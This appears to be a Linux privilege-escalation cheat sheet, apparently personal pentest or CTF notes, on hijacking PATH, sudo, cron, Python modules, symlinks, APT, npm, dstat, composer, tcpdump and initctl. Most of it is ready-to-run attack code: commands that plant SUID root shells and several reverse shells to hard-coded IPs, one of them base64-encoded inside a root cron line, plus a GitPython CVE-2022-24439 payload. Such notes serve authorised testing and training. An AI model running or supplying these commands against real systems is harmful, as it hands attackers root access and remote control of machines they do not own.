Hijacks

When a script is executed with elevated privileges (e.g., via sudo or in a cron job) and calls other binaries or scripts with relative paths, it may be possible to hijack the execution flow by manipulating the PATH variable or exploiting relative paths.

Check $PATH

echo $PATH

Hijacking Sudo Permissions

If is possible to use php with sudo

sudo /usr/bin/php -r 'system("/bin/sh");'

Hijacking sudo interactive shell

• If there is a writable directory in the $PATH (e.g., /tmp or /home/user/), and an attacker can control the contents of this directory.

Copy bash in /tmp or /user

cd /var/tmp && cp /bin/bash .

Use the shell

sudo -i

Path Hijacking sudo

Bash

Copy the shell

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/tokyo\nchown root:root /tmp/tokyo\nchmod 6777 /tmp/tokyo' | tee HIJACKED.sh

Execute the shell

/tmp/tokyo -p

PHP

Copy the shell

<?php
define('PATH', '/PATH/HIJACK');
system('cp /bin/bash /tmp/tokyo; chown root:root /tmp/tokyo; chmod 6777 /tmp/tokyo;');
?>

Execute the shell

/tmp/tokyo -p

Path Hijacking cron

• When PATH includes /usr/local/bin before /usr/bin in the cron job's environment.

• When a binary or script is executed without an absolute path.

Copy the shell

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/tokyo\nchmod u+s /tmp/tokyo' > /usr/local/bin/TARGET; chmod +x /usr/local/bin/TARGET

• bash drops SUID privileges by default, so make sure to run it with -p to keep root:

tokyo -p

PHP

Reverse shell

$sock=fsockopen("10.10.16.8", 4445);
exec("/bin/sh -i <&3 >&3 2>&3");

Copy the shell

<?php
$bashPath = '/bin/bash';
$tokyoPath = '/tmp/tokyo'; 

exec("cp $bashPath $tokyoPath");
exec("chmod u+s $tokyoPath");
exec("chmod +x $tokyoPath");
?>

Reverse shell template

echo "* * * * * root echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4zLzcwMjAgMD4mMQo= | base64 -d | bash" > clean

base64 the shell

echo "bash -i >& /dev/tcp/172.20.0.3/7020 0>&1" | base64

Path Hijacking supervisord.pid

• Process management tool for keeping services running.

• Each managed process must have a [program:<name>] line followed by another line command= where you should place the payload.

POC

echo -e "[program:memcached]\ncommand = bash -c 'bash -i  >& /dev/tcp/LHOST/PORT 0>&1'" > memcached.ini

Path Hijacking Python

Python prioritize modules within the vulnerable script's directory, so you could place the malicious module there

python PATH order

python -c 'import sys; print "\n".join(sys.path)'

Look for writable modules

find /usr/lib/python* -type f -writable -ls 2>&1 | grep python

Look in virtual environments

find /path/to/venv -type f -writable -ls 2>&1 | grep python

Look in the entire system

find -type f -writable -ls 2>&1 | grep python

Malicious Module Poc

import pty

pty.spawn("/bin/bash")

Reverse Shell

echo 'import pty
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.6",4444))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")
s.close()' >> os.py

Path Hijacking symlink

ln -s /root/root.txt t.trace.db

tar wildcards

Move the directory being use by the script:

mv development{,.orig}

Replace it with a symbolic link pointing to your target directory:

ln -s /root development

Decompress the content:

tar xvf file.tar.gz -C /tmp/

Sudoedit Double Wildcard Exploit

• Using this exploit is possible to create a symbolic link pointing to the authorized_keys file.

First create a new directory in the vulnerable path:

 mkdir tokyo

Now, from the new directory pop the symbolic link:

 ln -s /home/alekos/.ssh/authorized_keys layout.html

Finally use sudoedit to write your public key:

sudoedit -u alekos /var/www/testing/tokyo/layout.html

TOCTOU - Time-To-Check-Time-of-Use

• Is a type of race condition where a system checks a resource’s state at one point in time but acts on that state later.

• Between the check and the use, the resource can be altered by an attacker.

Attacker continuously changes a symlink target

while true; do ln -sf /sensitive/file /tmp/vuln_link; done

• The vulnerable script checks /tmp/vuln_link and then uses it, assuming it points to a safe file.

Conditional Logic and Environment Variables

• In some cases, the vulnerable script uses additional logic or environment variables that affect whether the resource is read or acted upon after the initial check.

• This can require more sophisticated exploitation, such as using a double symlink or toggling environment variables to bypass checks.

Step 1: Create a symlink that passes the check

ln -s /safe/path /tmp/vuln_link

Step 2: Vulnerable script moves the symlink to quarantine after check

Step 3: Attacker runs in parallel, swapping symlink target to sensitive file

while true; do ln -sf /sensitive/file /var/quarantined/vuln_link; done

Step 4: Attacker sets environment variable to trigger reading the file

export CHECK_CONTENT=true
sudo vulnerable_script /tmp/vuln_link

Path Hijacking doas

• doas is a lightweight, simple command-line utility for running commands with elevated privileges on Unix-like systems, similar to sudo.

• doas.conf have important information for privilege escalation:

find / -name "doas.conf" 2>/dev/null

Path Hijacking APT

Pre-Invoke

• Create a malicious config file to be invoked before APT runs:

echo 'APT::Update::Pre-Invoke {"bash -c '\''bash -i >& /dev/tcp/192.168.0.10/4433 0>&1'\''"}' > file_name

• APT check this directory for pre-invoke scripts:

/etc/apt/apt.conf.d

• Just wait for listener.

npmviasudo

• A NodeJS package is defined in a file package.json, is possible to create a malicious package and run it with the --unsafe option to get code execution:

{
  "name": "root_please",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "/bin/bash"
  }
}

• The malicious package.json needs to be contain within the fake package directory; once is all setup just run it with sudo:

sudo npm i package/ --unsafe

dstatPlugin poisoning

Allows to run arbitrary python scripts loaded as “external plugins” if they are located in one of the directories stated in the man page:

• ~/.dstat/

• (path of binary)/plugins/

• /usr/share/dstat/

• /usr/local/share/dstat

Normally to escalate privilege you want to choose the ones within the root path, check for writable permissions:

ls -ld /usr/local/share/dstat/
ls -ld /usr/share/dstat/

Create a malicious plugin:

echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_tokyo.py
echo 'import os; os.execv("/bin/sh", ["sh"])' > ~/.dstat/dstat_tokyo.py

Execute it with --PluginName:

doas /usr/bin/dstat --tokyo
sudo dstat --tokyo

ComposerHijacking

• First create the temporal folder where you will invoke the shell from and save in an environmental variable:

TF=$(mktemp -d)

• Once is done, create the malicious script to feed composer:

echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json

• Finally, just execute the script with it's in-build option:

sudo composer --working-dir=$TF run-script x

GitPython

CVE-2022-24439

• Inadequate validation of user input when handling remote URLs passed to the clone command:

Create the reverse shell

echo "bash -i >& /dev/tcp/10.10.16.10/4444 0>&1" > /tmp/shell.sh

Payload

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell.sh'

Via Mosh

if It's possible to use /usr/bin/mosh-server with sudo privileges

Start mosh-server as root and note the key and port

sudo -u root /usr/bin/mosh-server 0.0.0.0

Export the key

export MOSH_KEY=0NJo6yv0XHnF7Wrj8Y5pQ

Connect to the session

mosh-client 127.0.0.1 60001

tcpdumb via sudo

There is a GTFOBin entry for tcpdump

COMMAND='cp /bin/bash /tmp/tokyo; chmod 6777 /tmp/tokyo'

TF=$(mktemp)

echo "$COMMAND" > $TF

chmod +x $TF

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

Now, looking at the /tmp folder, we see that we have successfully created a copy of /bin/bash as /tmp/bash_root

/tmp/tokyo -p

Hijacking Service Configuration via initctl

• If is possible to use initclt with sudo and write Service Configuration Files you could create and start malicious services.

Find writable service configs

find /etc/init/ -writable -type f

Malicious Service Configuration

Add this to the vulnerable .conf file

start on pwn
task
exec python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.21",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Then, just trigger the event:

Method 1: Manual event trigger

sudo initctl emit pwn

Method 2: Replace existing service

sudo initctl stop existing-service
sudo initctl start existing-service